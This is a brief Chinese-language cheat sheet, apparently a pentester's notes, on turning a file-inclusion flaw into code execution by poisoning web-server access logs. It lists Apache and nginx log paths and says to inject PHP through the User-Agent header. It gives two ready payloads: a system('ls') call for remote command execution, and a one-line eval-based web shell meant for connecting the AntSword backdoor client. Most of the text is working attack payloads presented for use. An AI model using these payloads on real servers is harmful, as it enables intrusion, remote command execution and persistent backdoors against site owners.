常见日志路径

var/log/access.log
apache：var/log/apache/access.log
nginx：var/log/nginx/access.log

包含方式

将php代码至于User-Agent头中

RCE

User-Agent: <?php system(‘ls’);?>

挂马上蚁剑

User-Agent: <?php @eval($_POST[‘cyh’]);?>